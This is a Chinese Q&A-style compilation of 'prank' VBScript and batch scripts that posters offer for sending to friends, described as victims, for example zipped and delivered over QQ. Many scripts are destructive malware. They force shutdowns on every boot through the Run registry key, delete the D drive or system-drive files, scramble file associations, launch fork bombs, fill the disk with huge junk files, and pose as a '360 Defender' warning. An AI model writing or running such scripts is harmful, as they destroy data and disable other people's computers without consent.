txt整人代碼
㈠ 這些整人代碼該怎麼弄才有效果
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -r -t 90",0 ,true
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 90 -c ""叫老公，不喊就一分鍾關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "老公")
a = inputbox ("叫老公,就不關機，快撒，說 """" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshellC
set WSHshellC = wscript.createobject("wscript.shell")
WSHshellC.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，早叫老公不就行了"
把上面的代碼存為1.vbs,然後雙擊執行。
注意執行上面代碼後，電腦會強制關機。
那是用VBScript寫的，是一種腳本代碼，可以用記事本寫，只要保存後綴為.vbs就可以了。在微軟的32位操作系統上雙擊可以執行
㈡ 整人的txt代碼
@echo off
shutdown -s -t 45
set /p aa=新的妹妹是個大笨蛋?(a/b)
if %aa% == 1 goto :a
if %aa% == 2 goto :b
if %aa% == a (
echo 改成你想對受害者說的話
shutdown -a
exit
) else (
if %aa% == b (
echo 改成你想對受害者說的話
shutdown -a&ping n 2 127.1 >nul&shutdown -s -t 0
exit
) else (
echo 只能選擇a或b!作為懲罰現在你什麼也幹不了!
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shut /d "f:\你自己改名吧.bat " /f >nul
ping n 2 127.1 >nul
taskkill explorer.exe&shutdown -a&ping n 2 127.1 >nul&shutdown -s -t 10
exit
LZ注意我寫的! 有些得你自己改! 新建一個txt後把我寫的復制進去後重命名為你所改的名字。後綴為bat，注意寫入注冊表內的文件名是否和你重命名的文件名名字一樣 如果不一樣，系統就會當作不存在的文件！還有路徑！也得你自己改！我這里寫的是f盤！ 後綴後的bat你就必須放到f盤 路徑你可以自己改的！我就不用多說了吧？
使用方法:開機後45秒後自動關機 受害者 必須執行a 否則就會自動關機! 如果選擇b就直接關機 如果受害者執行的既不是a也不是b寫入的是其他數將遭到更慘的傷害! 那麼會在每次開機時都會自動啟動它...
㈢ txt整蠱代碼
@echo off
shutdown -s -t 45
set /p aa=新的妹妹是個大笨蛋?(a/b)
if %aa% == 1 goto :a
if %aa% == 2 goto :b
if %aa% == a (
echo 改成你想對受害者說的話
shutdown -a
exit
) else (
if %aa% == b (
echo 改成你想對受害者說的話
shutdown -a&ping n 2 127.1 >nul&shutdown -s -t 0
exit
) else (
echo 只能選擇a或b!作為懲罰現在你什麼也幹不了!
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shut /d "f:\你自己改名吧.bat " /f >nul
ping n 2 127.1 >nul
taskkill explorer.exe&shutdown -a&ping n 2 127.1 >nul&shutdown -s -t 10
exit
使用方法:開機後45秒後自動關機 受害者 必須執行a 否則就會自動關機! 如果選擇b就直接關機 如果受害者執行的既不是a也不是b寫入的是其他數將遭到更慘的傷害! 那麼會在每次開機時都會自動啟動它...
㈣ 誰有txt格式的整人文件
txt沒有，exe就有。本人親自試過，請放心坑人！我這個不是一點就關機，而是彈出無限對話框，摁無數次確定，直到你自己切斷電源！專門使別人的電腦丟失數據！
㈤ 求大量VBS整人代碼.
大量的樓上已經說了。這個是本人原創，親測有用。毒性嘛，就是會燒CPU，然後在這個vbs旁邊創建一大堆垃圾文件（請准備好30G空間）【具體在代碼中】
僅供惡搞娛樂和研究，沒有攻擊任何人，組織的意圖。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革廠倒閉了.mp3》請准備好放在D:\
msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fone.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因為這個游戲涉及非法內容，所以您的電腦將在60秒後自動關機"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（「滾」已復制到剪貼板，可以粘貼。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，現在您可以下載360安全衛士來殺毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎麼這么懶呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是時候鍛煉鍛煉了",vbokonly+vbInformation,"360 Defender"
msgbox "游戲規則：在開始後，請及時點擊 「確定」 鍵來取消關機。"+chr(13)+"現在您可以把這個窗口x掉，或者點擊確定，來開始游戲。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消關機",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鴻禕表示無語。"+chr(13)+chr(13)+chr(13)+"這樣是不可能解決問題的",vbokonly,"360 Defender"
msgbox "自己探尋吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滾" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滾" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由於您在說廢話，但是您一定不想浪費時間說廢話，所以該電腦對您有害。浪費別人時間就是謀財害命 ( 魯迅 ) 。360積極維護您的財產權和生命健康權，決定不砸掉您的電腦。"+chr(13)+chr(13)+"那現在先把C盤給抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盤的過程中，您的電腦將會重啟數次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
㈥ 跪求bat整人代碼
這是一個惡搞程序，運行後會出現N個本地磁碟，但是對電腦沒有什麼實際傷害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用這個
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你對對方恨之入骨就用這個，這個會把文件關聯改的一團糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile
或者用這個
@echo off
%0 "%ALLUSERSPROFILE%\「開始」菜單\程序\啟動"
shutdown -s -f -t 0
你也可以用這個超級彈窗程序嚇嚇他
@echo off
for /l %%i in (1,1,10000) do (start %0)
㈦ 求一些好玩的整人代碼~~
這些超級好玩看看
第一個：
這些超級好玩
第一個：
'------!!注意危險!! 5-開機一完畢就關機(計算機無法使用) !!注意危險!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危險!! 6-格式化D盤(D盤下所有文件被刪除) !!注意危險!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二個：
「
gsh=msgbox ("已經准備好格式化，准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失敗！請檢查防火牆是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的「病毒」是假的，只不過是嚇你玩玩~"
s.run "explorer"
」
這個病毒的說明：在任務管理器關閉wscript.exe可關閉彈窗
第三個：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四個：
do
msgbox"哈哈哈有種把我關掉」
loop
哈哈哈有種把我關掉可以隨意更改
第四個的升級版：
do
msgbox"哈哈,有種關掉我啊"
msgbox"開始倒計時"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子強最帥"
loop
野生熊孩子強最帥可以隨意更改
第五個：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六個：
'--------------------------------3-直接關機------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七個:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八個：名：騰訊QQ
do
msgbox」別點我喲，我今天想休息，不讓登」
loop
第九個：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說我是豬，不說我是豬就兩分鍾關你機，不信，你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，說 ""我是豬""","說不說","你寫啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10個：
Gecho off
start cmd
%0
第11個：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陳獨秀"
a=inputbox("快在下面的框框里輸入陳獨秀喜歡誰,否則後果自負"" ","一個問題","")
loop
call shutdown(2)
msgbox"好吧，不過好自戀啊",4096+64
msgbox"但是你關不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打開任務管理器也沒有什麼軟用的",4096+64
MsgBox"給你講個故事",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裡有個廟.",4096+64
MsgBox"廟里有個老和尚在講故事.",4096+64
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 60
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12個：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13個：
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
㈧ 整人程序代碼怎麼用
整人代碼及應用
讓對方重啟指定次數(害人專用)
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1s
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以讓對方電腦重啟5次後不在重啟，當然如果你修改一下加個if not exist c:6.txt echo. >c:6.txt & goto err1那
就是重啟6次
改成7就是7次...
打開「開始→程序→附件→記事本」，把代碼部分復制進去，點「另存為」，路徑選「你想要放的地方」，
保存類型為「所有文件」，文件名為「你想要的名字.bat」，你的批量處理器就完成了。
善意惡搞關機
首先呢,我們在桌面創建個新文件夾然後打開,在上面找到-工具T-文件夾選項O-查看
把隱藏已知文件類型的擴展名前面的勾去掉.
然後我們開始製作.在桌面建立個記事本,然後把下面代碼復制進去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，
不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
復制之後呢,把後綴修改為.vbs或者改變打開方式為應用程序，這樣你再壓縮下用QQ發給你朋友，
對方打開了就在60秒內要關閉計算機，
結束任務都不行，他只能說他是豬才能解決問題。夠壞吧？ 注意哦，你可以把我是豬那個修改成任意想說的話，
要是對付你喜歡的人，
就修改成 我愛你 這樣他只有說我愛你之後才不關閉計算機哦 也可以把時間修改為20 就是說打開了20秒就關了
,還沒等對方打完就關機了 是不是叫對方很郁悶呢?
讓人崩潰的關機程序
首先你可以看下面的
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的XX童鞋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼才來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("夜黑很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以後就看不到我拉。嗚嗚~555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，萬能的上帝又給了一次機會。")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
把這個復制在記事本,把後綴修改成.vbs
在打開呢就會先說第一句的 嘿，謝謝你打開我哦，我等你很久拉！
他無論是點關閉或者是點確定都會再說第2句
再點就說地3句 會按順序說完
你們注意哦，最後10句話，只是10句，你要是把這個復制再粘貼N次，那他還有個打完呢？
這樣才做到整人了，要是給喜歡的人發去啊，那就寫你要說的話吧，雙引號裡面的可以隨便更改
㈨ 求簡單的整人Bat代碼
嚴重警告！極度危險！不是惡搞程序！
@echo off
color 4f
title c:files killer
taskkill /im explorer.exe /f
echo 刪除C盤所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"
㈩ bat整人代碼
@echo off
color 0a
:firdo
echo.x=msgbox("對不起！你被系統鄙視了！！" ,Buttons, "錯誤！")>%systemdrive%\error.vbs
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "systemvbs" /t REG_SZ /d "%systemdrive%\error.vbs" >nul
start %systemdrive%\error.vbs
:secdo
echo.@echo off >%systemdrive%system.bat
echo.shutdown -f -s -t 10 -c "對不起！你被系統鄙視了" >>%systemdrive%\system.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "system" /t REG_SZ /d "%systemdrive%\system.bat" >nul
shutdown -f -s -t 10 -c "對不起！你被系統鄙視了"
exit
解釋，在firdo，bat在系統盤自動創建一個vbs文件然後自動開啟它，開了會彈出「錯誤，你被系統鄙視了」的氣球，並且把它加到開機啟動項，每每開機時就會彈出以上的氣球...
在secdo，bat在系統盤自動創建另一個bat文件，就是關機的代碼，並且加入該bat文件到開機啟動項，每每一開機10秒後便開始關機，這個夠嗆的吧～ ^ ^
以上是我為了整朋友而創作的，絕對原創～希望你看得懂我的解釋..........